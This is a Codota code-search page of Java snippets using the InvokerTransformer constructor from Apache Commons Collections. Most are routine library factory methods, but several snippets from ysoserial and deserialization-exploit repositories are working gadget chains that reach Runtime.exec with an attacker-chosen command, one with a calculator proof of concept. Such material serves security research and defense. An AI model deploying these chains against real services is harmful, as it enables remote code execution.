Codota Logo
InvokerTransformer.<init>
Code IndexAdd Codota to your IDE (free)

How to use
org.apache.commons.collections.functors.InvokerTransformer
constructor

Best Java code snippets using org.apache.commons.collections.functors.InvokerTransformer.<init> (Showing top 20 results out of 315)

  • Add the Codota plugin to your IDE and get smart completions
private void myMethod () {
List l =
  • Codota Iconnew LinkedList()
  • Codota IconCollections.emptyList()
  • Codota Iconnew ArrayList()
  • Smart code suggestions by Codota
}
origin: commons-collections/commons-collections

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: wildfly/wildfly

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: commons-collections/commons-collections

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: commons-collections/commons-collections

public Object makeObject() {
  return new InvokerTransformer("toString", new Class[0], new Object[0]);
}
origin: wildfly/wildfly

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: frohoff/ysoserial

new InvokerTransformer("getMethod", new Class[] {
    String.class, Class[].class }, new Object[] {
    "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
    Object.class, Object[].class }, new Object[] {
    null, new Object[0] }),
new InvokerTransformer("exec",
    new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
origin: frohoff/ysoserial

public BadAttributeValueExpException getObject(final String command) throws Exception {
  final String[] execArgs = new String[] { command };
  // inert chain for setup
  final Transformer transformerChain = new ChainedTransformer(
      new Transformer[]{ new ConstantTransformer(1) });
  // real chain for after setup
  final Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
      new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
      new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
      new ConstantTransformer(1) };
  final Map innerMap = new HashMap();
  final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
  BadAttributeValueExpException val = new BadAttributeValueExpException(null);
  Field valfield = val.getClass().getDeclaredField("val");
  valfield.setAccessible(true);
  valfield.set(val, entry);
  Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
  return val;
}
origin: frohoff/ysoserial

public InvocationHandler getObject(final String command) throws Exception {
  final String[] execArgs = new String[] { command };
  // inert chain for setup
  final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1) });
  // real chain for after setup
  final Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
      new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
      new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
      new ConstantTransformer(1) };
  final Map innerMap = new HashMap();
  final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
  final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
  Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
  return handler;
}
origin: org.apache.openjpa/openjpa-all

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: org.apache.servicemix.bundles/org.apache.servicemix.bundles.commons-collections

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: org.apache.directory.api/api-ldap-client-all

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: org.jboss.eap/wildfly-client-all

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: com.alibaba.citrus.tool/antx-autoexpand

/**
 * Gets an instance of this transformer calling a specific method with no arguments.
 * 
 * @param methodName  the method name to call
 * @return an invoker transformer
 * @since Commons Collections 3.1
 */
public static Transformer getInstance(String methodName) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  return new InvokerTransformer(methodName);
}
origin: org.apache.directory.api/api-ldap-client-all

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: com.alibaba.citrus.tool/antx-autoexpand

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: org.apache.servicemix.bundles/org.apache.servicemix.bundles.commons-collections

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: org.apache.openjpa/openjpa-all

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: org.jboss.eap/wildfly-client-all

/**
 * Gets an instance of this transformer calling a specific method with specific values.
 * 
 * @param methodName  the method name to call
 * @param paramTypes  the parameter types of the method
 * @param args  the arguments to pass to the method
 * @return an invoker transformer
 */
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
  if (methodName == null) {
    throw new IllegalArgumentException("The method to invoke must not be null");
  }
  if (((paramTypes == null) && (args != null))
    || ((paramTypes != null) && (args == null))
    || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
    throw new IllegalArgumentException("The parameter types must match the arguments");
  }
  if (paramTypes == null || paramTypes.length == 0) {
    return new InvokerTransformer(methodName);
  } else {
    paramTypes = (Class[]) paramTypes.clone();
    args = (Object[]) args.clone();
    return new InvokerTransformer(methodName, paramTypes, args);
  }
}
origin: lightless233/Java-Unserialization-Study

    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"}),
    new ConstantTransformer("1")
};
origin: njfox/Java-Deserialization-Exploit

public InvocationHandler getObject(final String command) throws Exception {
  final String[] execArgs = new String[] { command };
  // inert chain for setup
  final Transformer transformerChain = new ChainedTransformer(
      new Transformer[]{ new ConstantTransformer(1) });
  // real chain for after setup
  final Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[] {
          String.class, Class[].class }, new Object[] {
          "getRuntime", new Class[0] }),
      new InvokerTransformer("invoke", new Class[] {
          Object.class, Object[].class }, new Object[] {
          null, new Object[0] }),
      new InvokerTransformer("exec",
          new Class[] { String.class }, execArgs),
      new ConstantTransformer(1) };
  final Map innerMap = new HashMap();
  final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
  final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
  Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
  return handler;
}
org.apache.commons.collections.functorsInvokerTransformer<init>

Javadoc

Constructor for no arg instance.

Popular methods of InvokerTransformer

  • getInstance
    Gets an instance of this transformer calling a specific method with specific values.

Popular in Java

  • Making http post requests using okhttp
  • setScale (BigDecimal)
  • findViewById (Activity)
  • compareTo (BigDecimal)
    Compares this BigDecimal with the specified BigDecimal. Two BigDecimal objects that are equal in val
  • Component (java.awt)
    A component is an object having a graphical representation that can be displayed on the screen and t
  • GridBagLayout (java.awt)
    The GridBagLayout class is a flexible layout manager that aligns components vertically and horizonta
  • EOFException (java.io)
    Thrown when a program encounters the end of a file or stream during an input operation.
  • PrintStream (java.io)
    A PrintStream adds functionality to another output stream, namely the ability to print representatio
  • Set (java.util)
    A collection that contains no duplicate elements. More formally, sets contain no pair of elements e1
  • SortedSet (java.util)
    A Set that further provides a total ordering on its elements. The elements are ordered using their C
Codota Logo
  • Products

    Search for Java codeSearch for JavaScript codeEnterprise
  • IDE Plugins

    IntelliJ IDEAWebStormAndroid StudioEclipseVisual Studio CodePyCharmSublime TextPhpStormVimAtomGoLandRubyMineEmacsJupyter
  • Company

    About UsContact UsCareers
  • Resources

    FAQBlogCodota Academy Plugin user guide Terms of usePrivacy policyJava Code IndexJavascript Code Index
Get Codota for your IDE now